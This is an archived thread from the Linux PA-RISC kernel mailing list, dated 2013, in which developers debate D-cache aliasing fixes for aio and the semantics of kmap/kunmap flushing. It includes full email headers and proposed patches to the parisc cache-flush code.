-static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+static noinline unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
 {
 	unsigned long ret, fault_addr, reference;
 	struct exception_data *d;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sun, 17 Nov 2013 22:23:08 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <528933BC.50806@gmx.de>
References: <20131115220529.GA3160@ls3530.box> <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com> <20131116200717.GA18939@schnuecks.de> <20131116200959.GA14098@kvack.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384723390 1353 80.91.229.3 (17 Nov 2013 21:23:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Nov 2013 21:23:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-aio@kvack.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Benjamin LaHaise <bcrl@kvack.org>, Simon Baatz <gmbnomis@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 17 22:23:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vi9oG-0001qI-D8
	for glpp-linux-parisc@plane.gmane.org; Sun, 17 Nov 2013 22:23:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752292Ab3KQVXL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Nov 2013 16:23:11 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:51615 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751893Ab3KQVXK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Nov 2013 16:23:10 -0500
Original-Received: from [192.168.178.60] ([84.173.19.218]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0Lg0wl-1VKKAQ0jX9-00pgxD for
 <linux-parisc@vger.kernel.org>; Sun, 17 Nov 2013 22:23:09 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <20131116200959.GA14098@kvack.org>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:8ejNWjzku0tbEavX3iLzW8q8GRnI/Pl92qEFTvlDmYpFJXubXFX
 MK2mEJ00QwF4P8jyb8hFnYz8woYt6CAUlO7vxCSj5RZ1f+pSrT2SwTsn2EenvjtG7K3ihax
 rE83+RExD4/Jy+Cumt7Re515jzJV/1qFbEQ3cnRs6/nMic7GjCGbdswPIhv6qsbuyh+xNAN
 0Eqs/L87eP7WNM32CNlPQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5495 gmane.linux.kernel.aio.general:3800 gmane.linux.kernel:1596640
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5495>

On 11/16/2013 09:09 PM, Benjamin LaHaise wrote:
> On Sat, Nov 16, 2013 at 09:07:18PM +0100, Simon Baatz wrote:
>> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
>>> On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
>>>> When a user page mapping is released via kunmap*() functions, the D-cache needs
>>>> to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.
>>>>
>>>> This patch fixes aio on the parisc platform (and probably others).
>>>
>>> This should be flush_kernel_dcache_page().  flush_dcache_page() is for
>>> full coherency but for unmap, we know the page was coherent going in and
>>> may have been modified by the kernel, so only the kernel view needs to
>>> be sync'd.  Technically, by the kernel API, the flush should be done
>>> *before* unmapping.  This would have mattered on parisc until we did
>>> flush via tmpalias which means we no-longer care if the mapping for the
>>> flush exists or not because we always recreate it via the tmpalias
>>> pages.
>>
>> On ARM, flush_kernel_dcache_page() actually assumes that the page is
>> mapped.  It avoids double flushing of highmem pages by not flushing
>> in those cases where kunmap_atomic() already takes care of flushing.
> 
> Helge -- are you going to resubmit a version of this patch that makes the 
> recommended change?

Sure, I'll do. May need some time for testing the various machine types though.
Maybe in the end you can drop my patch since we might be able to fix it in the 
parisc arch code.

@James, Dave: The patch I sent here was not used on the C8000. The C8000 (PA8800)
works out of the box (and it uses the flush_kernel_dcache_page() function which
is provided by kunmap()). It seems we require the flush_kernel_dcache_page() on
the other machines too?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sun, 17 Nov 2013 13:49:33 -0800
Lines: 65
Approved: news@gmane.org
Message-ID: <1384724973.2050.14.camel@dabdike.int.hansenpartnership.com>
References: <20131115220529.GA3160@ls3530.box>
	 <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
	 <20131116200717.GA18939@schnuecks.de> <20131116200959.GA14098@kvack.org>
	 <528933BC.50806@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384724977 16253 80.91.229.3 (17 Nov 2013 21:49:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Nov 2013 21:49:37 +0000 (UTC)
Cc: Benjamin LaHaise <bcrl@kvack.org>,
	Simon Baatz <gmbnomis@gmail.com>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 17 22:49:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ViADs-0003ra-ID
	for glpp-linux-parisc@plane.gmane.org; Sun, 17 Nov 2013 22:49:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751368Ab3KQVtj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Nov 2013 16:49:39 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54824 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751267Ab3KQVtj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Nov 2013 16:49:39 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8EDFF8EE0EF;
	Sun, 17 Nov 2013 13:49:38 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EdycPLsOFFt5; Sun, 17 Nov 2013 13:49:38 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 90B418EE0D7;
	Sun, 17 Nov 2013 13:49:35 -0800 (PST)
In-Reply-To: <528933BC.50806@gmx.de>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5496 gmane.linux.kernel.aio.general:3801 gmane.linux.kernel:1596646
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5496>

On Sun, 2013-11-17 at 22:23 +0100, Helge Deller wrote:
> On 11/16/2013 09:09 PM, Benjamin LaHaise wrote:
> > On Sat, Nov 16, 2013 at 09:07:18PM +0100, Simon Baatz wrote:
> >> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
> >>> On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
> >>>> When a user page mapping is released via kunmap*() functions, the D-cache needs
> >>>> to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.
> >>>>
> >>>> This patch fixes aio on the parisc platform (and probably others).
> >>>
> >>> This should be flush_kernel_dcache_page().  flush_dcache_page() is for
> >>> full coherency but for unmap, we know the page was coherent going in and
> >>> may have been modified by the kernel, so only the kernel view needs to
> >>> be sync'd.  Technically, by the kernel API, the flush should be done
> >>> *before* unmapping.  This would have mattered on parisc until we did
> >>> flush via tmpalias which means we no-longer care if the mapping for the
> >>> flush exists or not because we always recreate it via the tmpalias
> >>> pages.
> >>
> >> On ARM, flush_kernel_dcache_page() actually assumes that the page is
> >> mapped.  It avoids double flushing of highmem pages by not flushing
> >> in those cases where kunmap_atomic() already takes care of flushing.
> > 
> > Helge -- are you going to resubmit a version of this patch that makes the 
> > recommended change?
> 
> Sure, I'll do. May need some time for testing the various machine types though.
> Maybe in the end you can drop my patch since we might be able to fix it in the 
> parisc arch code.
> 
> @James, Dave: The patch I sent here was not used on the C8000. The C8000 (PA8800)
> works out of the box (and it uses the flush_kernel_dcache_page() function which
> is provided by kunmap()). It seems we require the flush_kernel_dcache_page() on
> the other machines too?

Well, this is why I think our in-kernel API (not the parisc one) for
kmap/kunmap is faulty.  I can't see any valid use of kmap/kunmap where
you don't need to flush.  Either you kmapped for reading, in which case
you need to flush user space before the kernel access, or you kmapped
for writing, in which case you need to flush user space just before
mapping (eliminate any dirty user line) and the kernel cache before
unmap (so the modification becomes visible in main memory).  I could see
an argument that flushing all the user mappings is expensive so only do
it if necessary, but I think it looks to be always necessary: even if
you're writing only, which means purging the lines above the user
mappings, most hardware will panic (HPMC) if it sees inequivalent
aliases with clashing dirty lines.

I think the reason for the complexity is issues on ARM.  The user space
cache lines have to remain empty until the kunmap.  On parisc we can
ensure this by purging the tlb entries to prevent speculative move in
(if the user deliberately accesses while we're modifying, it's caveat
emptor), but I don't believe ARM can control this speculation, so they
always need to re-invalidate all of user space before unmap just to
eliminate speculated lines ... in any case, that could still be done as
part of the kunmap API.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Mon, 18 Nov 2013 00:47:07 +0100
Lines: 189
Approved: news@gmane.org
Message-ID: <20131117234707.GA25545@p100.box>
References: <20131115220529.GA3160@ls3530.box>
 <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
 <20131116200717.GA18939@schnuecks.de>
 <20131116200959.GA14098@kvack.org>
 <528933BC.50806@gmx.de>
 <1384724973.2050.14.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384732031 18102 80.91.229.3 (17 Nov 2013 23:47:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Nov 2013 23:47:11 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Benjamin LaHaise <bcrl@kvack.org>,
	Simon Baatz <gmbnomis@gmail.com>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 18 00:47:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ViC3d-0006Iq-E4
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Nov 2013 00:47:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751929Ab3KQXrN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Nov 2013 18:47:13 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:53678 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751267Ab3KQXrM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Nov 2013 18:47:12 -0500
Original-Received: from p100.box ([84.173.19.218]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MH07e-1Vvxgl0zwo-00DpFZ for
 <linux-parisc@vger.kernel.org>; Mon, 18 Nov 2013 00:47:10 +0100
Content-Disposition: inline
In-Reply-To: <1384724973.2050.14.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:pGogntxB9kB5m/DAIXwb7tLGVb65DZLtQ0FLH1Xoi4LYQ++QYF/
 YWIzMZVPdro8C9kny6HvvSxyB1G0Uj/iKxVl1qTQWbPX+5drfbaGvombeNAgNrNSEbj6784
 mMVuH4vinuNR6w3foF2lSCpN/l4miucdJRBAfdmUCVd942OGqcPY2a/9f+jOZaC5uioZxL7
 gMlkTK5D4bKWyfgZ5TcTQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5497 gmane.linux.kernel.aio.general:3802 gmane.linux.kernel:1596659
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5497>

* James Bottomley <James.Bottomley@HansenPartnership.com>:
> On Sun, 2013-11-17 at 22:23 +0100, Helge Deller wrote:
> > On 11/16/2013 09:09 PM, Benjamin LaHaise wrote:
> > > On Sat, Nov 16, 2013 at 09:07:18PM +0100, Simon Baatz wrote:
> > >> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
> > >>> On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
> > >>>> When a user page mapping is released via kunmap*() functions, the D-cache needs
> > >>>> to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.
> > >>>>
> > >>>> This patch fixes aio on the parisc platform (and probably others).
> > >>>
> > >>> This should be flush_kernel_dcache_page().  flush_dcache_page() is for
> > >>> full coherency but for unmap, we know the page was coherent going in and
> > >>> may have been modified by the kernel, so only the kernel view needs to
> > >>> be sync'd.  Technically, by the kernel API, the flush should be done
> > >>> *before* unmapping.  This would have mattered on parisc until we did
> > >>> flush via tmpalias which means we no-longer care if the mapping for the
> > >>> flush exists or not because we always recreate it via the tmpalias
> > >>> pages.
> > >>
> > >> On ARM, flush_kernel_dcache_page() actually assumes that the page is
> > >> mapped.  It avoids double flushing of highmem pages by not flushing
> > >> in those cases where kunmap_atomic() already takes care of flushing.
> > > 
> > > Helge -- are you going to resubmit a version of this patch that makes the 
> > > recommended change?
> > 
> > Sure, I'll do. May need some time for testing the various machine types though.
> > Maybe in the end you can drop my patch since we might be able to fix it in the 
> > parisc arch code.
> > 
> > @James, Dave: The patch I sent here was not used on the C8000. The C8000 (PA8800)
> > works out of the box (and it uses the flush_kernel_dcache_page() function which
> > is provided by kunmap()). It seems we require the flush_kernel_dcache_page() on
> > the other machines too?
> 
> Well, this is why I think our in-kernel API (not the parisc one) for
> kmap/kunmap is faulty.  I can't see any valid use of kmap/kunmap where
> you don't need to flush. 

Maybe adding a flag to kmap(), e.g. READ_ONLY, WRITE_ONLY or similiar? 

> Either you kmapped for reading, in which case
> you need to flush user space before the kernel access, or you kmapped
> for writing, in which case you need to flush user space just before
> mapping (eliminate any dirty user line) and the kernel cache before
> unmap (so the modification becomes visible in main memory).

That's exactly what Dave told me in a private mail earlier.

Below is a patch to the parisc arch code which is originally from Dave.
I only changed kunmap_parisc() to always call
flush_kernel_dcache_page_addr(addr) - independend if we are on a PA8800/8900
CPU or not - which is what you proposed in your original mail.
And yes, this flush_kernel_dcache_page() fixes the aio problems
on all my machines (32- and 64bit kernels, PA7300LC, PA8700, ...).


>  I could see
> an argument that flushing all the user mappings is expensive so only do
> it if necessary, but I think it looks to be always necessary: even if
> you're writing only, which means purging the lines above the user
> mappings, most hardware will panic (HPMC) if it sees inequivalent
> aliases with clashing dirty lines.



diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index f0e2784..ce6d605 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -43,6 +43,8 @@ static inline void flush_kernel_dcache_page(struct page *page)
 	flush_kernel_dcache_page_addr(page_address(page));
 }
 
+void flush_user_dcache_page(struct page *page);
+
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
 /* vmap range flushes and invalidates.  Architecturally, we don't need
@@ -125,18 +127,27 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 void mark_rodata_ro(void);
 #endif
 
-#ifdef CONFIG_PA8X00
-/* Only pa8800, pa8900 needs this */
-
 #include <asm/kmap_types.h>
 
 #define ARCH_HAS_KMAP
 
-void kunmap_parisc(void *addr);
+static inline void kmap_parisc(struct page *page)
+{
+	if (parisc_requires_coherency())
+		flush_user_dcache_page(page);
+}
+
+static inline void kunmap_parisc(void *addr)
+{
+	/* always flush kernel dcache, independed of
+	 * parisc_requires_coherency(). Needed on CPUs < PA8800/PA8900 */
+	flush_kernel_dcache_page_addr(addr);
+}
 
 static inline void *kmap(struct page *page)
 {
 	might_sleep();
+	kmap_parisc(page);
 	return page_address(page);
 }
 
@@ -148,6 +159,7 @@ static inline void kunmap(struct page *page)
 static inline void *kmap_atomic(struct page *page)
 {
 	pagefault_disable();
+	kmap_parisc(page);
 	return page_address(page);
 }
 
@@ -160,7 +172,6 @@ static inline void __kunmap_atomic(void *addr)
 #define kmap_atomic_prot(page, prot)	kmap_atomic(page)
 #define kmap_atomic_pfn(pfn)	kmap_atomic(pfn_to_page(pfn))
 #define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
-#endif
 
 #endif /* _PARISC_CACHEFLUSH_H */
 
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c035673..a7ee7b7 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -283,7 +283,7 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 	preempt_enable();
 }
 
-void flush_dcache_page(struct page *page)
+void flush_user_dcache_page(struct page *page)
 {
 	struct address_space *mapping = page_mapping(page);
 	struct vm_area_struct *mpnt;
@@ -291,13 +291,6 @@ void flush_dcache_page(struct page *page)
 	unsigned long addr, old_addr = 0;
 	pgoff_t pgoff;
 
-	if (mapping && !mapping_mapped(mapping)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-		return;
-	}
-
-	flush_kernel_dcache_page(page);
-
 	if (!mapping)
 		return;
 
@@ -332,6 +325,20 @@ void flush_dcache_page(struct page *page)
 	}
 	flush_dcache_mmap_unlock(mapping);
 }
+EXPORT_SYMBOL(flush_user_dcache_page);
+
+void flush_dcache_page(struct page *page)
+{
+	struct address_space *mapping = page_mapping(page);
+
+	if (mapping && !mapping_mapped(mapping)) {
+		set_bit(PG_dcache_dirty, &page->flags);
+		return;
+	}
+
+	flush_kernel_dcache_page(page);
+	flush_user_dcache_page(page);
+}
 EXPORT_SYMBOL(flush_dcache_page);
 
 /* Defined in arch/parisc/kernel/pacache.S */
@@ -413,16 +420,6 @@ void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 }
 EXPORT_SYMBOL(copy_user_page);
 
-#ifdef CONFIG_PA8X00
-
-void kunmap_parisc(void *addr)
-{
-	if (parisc_requires_coherency())
-		flush_kernel_dcache_page_addr(addr);
-}
-EXPORT_SYMBOL(kunmap_parisc);
-#endif

From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sun, 17 Nov 2013 16:52:02 -0800
Lines: 120
Approved: news@gmane.org
Message-ID: <1384735922.2050.21.camel@dabdike.int.hansenpartnership.com>
References: <20131115220529.GA3160@ls3530.box>
	 <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
	 <20131116200717.GA18939@schnuecks.de> <20131116200959.GA14098@kvack.org>
	 <528933BC.50806@gmx.de>
	 <1384724973.2050.14.camel@dabdike.int.hansenpartnership.com>
	 <20131117234707.GA25545@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384735924 22994 80.91.229.3 (18 Nov 2013 00:52:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Nov 2013 00:52:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Benjamin LaHaise <bcrl@kvack.org>,
	Simon Baatz <gmbnomis@gmail.com>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 18 01:52:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ViD4R-0004ru-8j
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Nov 2013 01:52:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752213Ab3KRAwG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Nov 2013 19:52:06 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55097 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751929Ab3KRAwE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Nov 2013 19:52:04 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8D1BD8EE0EF;
	Sun, 17 Nov 2013 16:52:04 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id SYU9Ar062T5I; Sun, 17 Nov 2013 16:52:04 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E2D448EE0D7;
	Sun, 17 Nov 2013 16:52:03 -0800 (PST)
In-Reply-To: <20131117234707.GA25545@p100.box>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5498 gmane.linux.kernel.aio.general:3803 gmane.linux.kernel:1596664
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5498>

On Mon, 2013-11-18 at 00:47 +0100, Helge Deller wrote:
> * James Bottomley <James.Bottomley@HansenPartnership.com>:
> > On Sun, 2013-11-17 at 22:23 +0100, Helge Deller wrote:
> > > On 11/16/2013 09:09 PM, Benjamin LaHaise wrote:
> > > > On Sat, Nov 16, 2013 at 09:07:18PM +0100, Simon Baatz wrote:
> > > >> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
> > > >>> On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
> > > >>>> When a user page mapping is released via kunmap*() functions, the D-cache needs
> > > >>>> to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.
> > > >>>>
> > > >>>> This patch fixes aio on the parisc platform (and probably others).
> > > >>>
> > > >>> This should be flush_kernel_dcache_page().  flush_dcache_page() is for
> > > >>> full coherency but for unmap, we know the page was coherent going in and
> > > >>> may have been modified by the kernel, so only the kernel view needs to
> > > >>> be sync'd.  Technically, by the kernel API, the flush should be done
> > > >>> *before* unmapping.  This would have mattered on parisc until we did
> > > >>> flush via tmpalias which means we no-longer care if the mapping for the
> > > >>> flush exists or not because we always recreate it via the tmpalias
> > > >>> pages.
> > > >>
> > > >> On ARM, flush_kernel_dcache_page() actually assumes that the page is
> > > >> mapped.  It avoids double flushing of highmem pages by not flushing
> > > >> in those cases where kunmap_atomic() already takes care of flushing.
> > > > 
> > > > Helge -- are you going to resubmit a version of this patch that makes the 
> > > > recommended change?
> > > 
> > > Sure, I'll do. May need some time for testing the various machine types though.
> > > Maybe in the end you can drop my patch since we might be able to fix it in the 
> > > parisc arch code.
> > > 
> > > @James, Dave: The patch I sent here was not used on the C8000. The C8000 (PA8800)
> > > works out of the box (and it uses the flush_kernel_dcache_page() function which
> > > is provided by kunmap()). It seems we require the flush_kernel_dcache_page() on
> > > the other machines too?
> > 
> > Well, this is why I think our in-kernel API (not the parisc one) for
> > kmap/kunmap is faulty.  I can't see any valid use of kmap/kunmap where
> > you don't need to flush. 
> 
> Maybe adding a flag to kmap(), e.g. READ_ONLY, WRITE_ONLY or similiar? 
> 
> > Either you kmapped for reading, in which case
> > you need to flush user space before the kernel access, or you kmapped
> > for writing, in which case you need to flush user space just before
> > mapping (eliminate any dirty user line) and the kernel cache before
> > unmap (so the modification becomes visible in main memory).
> 
> That's exactly what Dave told me in a private mail earlier.
> 
> Below is a patch to the parisc arch code which is originally from Dave.
> I only changed kunmap_parisc() to always call
> flush_kernel_dcache_page_addr(addr) - independend if we are on a PA8800/8900
> CPU or not - which is what you proposed in your original mail.
> And yes, this flush_kernel_dcache_page() fixes the aio problems
> on all my machines (32- and 64bit kernels, PA7300LC, PA8700, ...).
> 
> 
> >  I could see
> > an argument that flushing all the user mappings is expensive so only do
> > it if necessary, but I think it looks to be always necessary: even if
> > you're writing only, which means purging the lines above the user
> > mappings, most hardware will panic (HPMC) if it sees inequivalent
> > aliases with clashing dirty lines.
> 
> 
> 
> diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
> index f0e2784..ce6d605 100644
> --- a/arch/parisc/include/asm/cacheflush.h
> +++ b/arch/parisc/include/asm/cacheflush.h
> @@ -43,6 +43,8 @@ static inline void flush_kernel_dcache_page(struct page *page)
>  	flush_kernel_dcache_page_addr(page_address(page));
>  }
>  
> +void flush_user_dcache_page(struct page *page);
> +

The split into flush_kernel.. and flush_user.. is pointless.  We have no
use for a flush_user_.. API because it's not part of the standard linux
one.  Plus it's going to confuse those who come after us no end because
now we're different from every other architecture.

>  #define flush_kernel_dcache_range(start,size) \
>  	flush_kernel_dcache_range_asm((start), (start)+(size));
>  /* vmap range flushes and invalidates.  Architecturally, we don't need
> @@ -125,18 +127,27 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
>  void mark_rodata_ro(void);
>  #endif
>  
> -#ifdef CONFIG_PA8X00
> -/* Only pa8800, pa8900 needs this */
> -
>  #include <asm/kmap_types.h>
>  
>  #define ARCH_HAS_KMAP
>  
> -void kunmap_parisc(void *addr);
> +static inline void kmap_parisc(struct page *page)
> +{
> +	if (parisc_requires_coherency())
> +		flush_user_dcache_page(page);
> +}

No ... if we're genuinely moving coherency into kmap/kunmap, this has to
become

	flush_dcache_page(page);

unconditionally.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
